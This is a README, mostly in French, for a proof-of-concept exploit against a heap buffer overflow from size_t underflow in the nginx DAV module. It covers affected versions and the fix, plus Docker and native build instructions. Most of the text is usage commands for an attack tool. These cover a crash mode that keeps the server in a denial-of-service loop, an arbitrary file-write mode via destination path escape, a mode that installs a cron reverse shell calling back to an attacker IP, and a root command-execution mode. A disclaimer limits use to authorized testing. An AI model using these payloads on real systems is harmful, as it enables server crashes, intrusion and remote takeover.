
NGINX `ngx_http_dav_module` Débordement de tampon de tas via un sous-dépassement de `size_t` (Déni de service à distance / Exécution de code à distance potentielle)
Débordement de tampon sur le tas (heap buffer overflow) dans ngx_http_dav_module de NGINX via un underflow de size_t (DoS à distance / RCE potentielle)
ngx_http_dav_copy_move_handler() dans src/http/modules/ngx_http_dav_module.c
calcule la longueur de l'URI de destination en soustrayant la longueur du préfixe
d'emplacement du composant chemin de l'URI de l'en-tête Destination. Les deux
valeurs sont de type size_t (non signé 64 bits). Lorsque le chemin de
destination est plus court que le préfixe d'emplacement, la soustraction s'enroule
à ~0, produisant une longueur massive pour memcpy qui déborde d'une allocation
de 7 octets sur le tas et fait planter le processus worker.
Une seule requête MOVE ou COPY forgée vers un emplacement DAV mappé via
alias déclenche le débordement. Le processus maître de nginx relance le worker,
mais des requêtes répétées maintiennent le serveur dans une boucle de crash
continue.
ASan confirme : negative-size-param: (size=-7) au niveau de memcpy dans
ngx_http_core_module.c:1949, appelé depuis ngx_http_dav_copy_move_handler.
Versions affectées : nginx 0.5.13 à 1.28.2 (stable) et 1.29.0 à 1.29.6
(mainline), compilé avec --with-http_dav_module et utilisant alias dans
l'emplacement DAV. Corrigé dans les versions 1.28.3 / 1.29.7 (commit ab4b5b8,
PR #1210).
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
Le mode par défaut reste le déclencheur de crash canonique. Il envoie une requête
PUT suivie d'un MOVE forgé dont le chemin Destination est plus court que le
préfixe de l'emplacement DAV :
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
Pour les configurations de laboratoire autorisées où le traitement de la
destination DAV permet une évasion de destination relative, le même outil peut
délivrer un contenu contrôlé par l'attaquant vers un chemin choisi. Les valeurs
exactes de --location-prefix, --escape-depth et le chemin de destination
doivent provenir de votre propre configuration de service et de votre
reconnaissance :
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell et cron-cmd sont des assistants de livraison
génériques pour les environnements autorisés disposant d'une source DAV
inscriptible et d'une évasion de chemin de destination. Ils ne sont pas
nécessaires pour prouver le crash canonique de débordement de tas.
--with-http_dav_module, bloc d'emplacement
utilisant alias (pas root), dav_methods incluant COPY ou MOVErequests est utilisé lorsqu'il est disponible, sinon le
PoC utilise la bibliothèque standard de Python pour les cibles HTTP simples.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| Fichier | Description |
|---|---|
poc.py | PoC Python -- déclencheur de crash canonique plus modes de destination COPY/MOVE génériques |
run.sh | Compile nginx à partir des sources (ASan / non-ASan) et exécute le PoC |
Dockerfile | Compilation multi-étapes du nginx vulnérable 1.28.2 |
docker-compose.yml | Configuration Docker en une commande |
nginx.conf | Configuration vulnérable (alias + dav_methods COPY MOVE) |
proof_output.txt | Sortie ASan de la vérification en conditions réelles |
Ce projet est publié sous licence GNU GPLv3.
Il est fourni pour la recherche en sécurité défensive, l'éducation et les tests autorisés. N'utilisez pas ce code contre des systèmes ou des services sans l'autorisation explicite du propriétaire.
Toute utilisation non autorisée peut violer les lois applicables. Les auteurs n'accordent pas la permission de tester des systèmes tiers et ne sont pas responsables d'une mauvaise utilisation.
Voir le fichier LICENSE pour les conditions de garantie et de responsabilité.